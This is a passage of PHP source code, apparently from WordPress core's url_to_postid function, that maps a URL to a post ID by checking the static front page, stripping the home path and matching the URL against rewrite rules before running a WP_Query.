if ( trim( $url, '/' ) === home_url() && 'page' === get_option( 'show_on_front' ) ) {
$page_on_front = get_option( 'page_on_front' );
if ( $page_on_front && get_post( $page_on_front ) instanceof WP_Post ) {
return (int) $page_on_front;
}
}
// Check to see if we are using rewrite rules.
$rewrite = $wp_rewrite->wp_rewrite_rules();
// Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options.
if ( empty( $rewrite ) ) {
return 0;
}
// Strip 'index.php/' if we're not using path info permalinks.
if ( ! $wp_rewrite->using_index_permalinks() ) {
$url = str_replace( $wp_rewrite->index . '/', '', $url );
}
if ( str_contains( trailingslashit( $url ), home_url( '/' ) ) ) {
// Chop off http://domain.com/[path].
$url = str_replace( home_url(), '', $url );
} else {
// Chop off /path/to/blog.
$home_path = parse_url( home_url( '/' ) );
$home_path = isset( $home_path['path'] ) ? $home_path['path'] : '';
$url = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) );
}
// Trim leading and lagging slashes.
$url = trim( $url, '/' );
$request = $url;
$post_type_query_vars = array();
foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
if ( ! empty( $t->query_var ) ) {
$post_type_query_vars[ $t->query_var ] = $post_type;
}
}
// Look for matches.
$request_match = $request;
foreach ( (array) $rewrite as $match => $query ) {
/*
* If the requesting file is the anchor of the match,
* prepend it to the path info.
*/
if ( ! empty( $url ) && ( $url !== $request ) && str_starts_with( $match, $url ) ) {
$request_match = $url . '/' . $request;
}
if ( preg_match( "#^$match#", $request_match, $matches ) ) {
if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
// This is a verbose page match, let's check to be sure about it.
$page = get_page_by_path( $matches[ $varmatch[1] ] );
if ( ! $page ) {
continue;
}
$post_status_obj = get_post_status_object( $page->post_status );
if ( ! $post_status_obj->public && ! $post_status_obj->protected
&& ! $post_status_obj->private && $post_status_obj->exclude_from_search ) {
continue;
}
}
/*
* Got a match.
* Trim the query of everything up to the '?'.
*/
$query = preg_replace( '!^.+\?!', '', $query );
// Substitute the substring matches into the query.
$query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) );
// Filter out non-public query vars.
global $wp;
parse_str( $query, $query_vars );
$query = array();
foreach ( (array) $query_vars as $key => $value ) {
if ( in_array( (string) $key, $wp->public_query_vars, true ) ) {
$query[ $key ] = $value;
if ( isset( $post_type_query_vars[ $key ] ) ) {
$query['post_type'] = $post_type_query_vars[ $key ];
$query['name'] = $value;
}
}
}
// Resolve conflicts between posts with numeric slugs and date archive queries.
$query = wp_resolve_numeric_slug_conflicts( $query );
// Do the query.
$query = new WP_Query( $query );
if ( ! empty( $query->posts ) && $query->is_singular ) {
return $query->post->ID;
} else {
return 0;
}
}
}
return 0;
}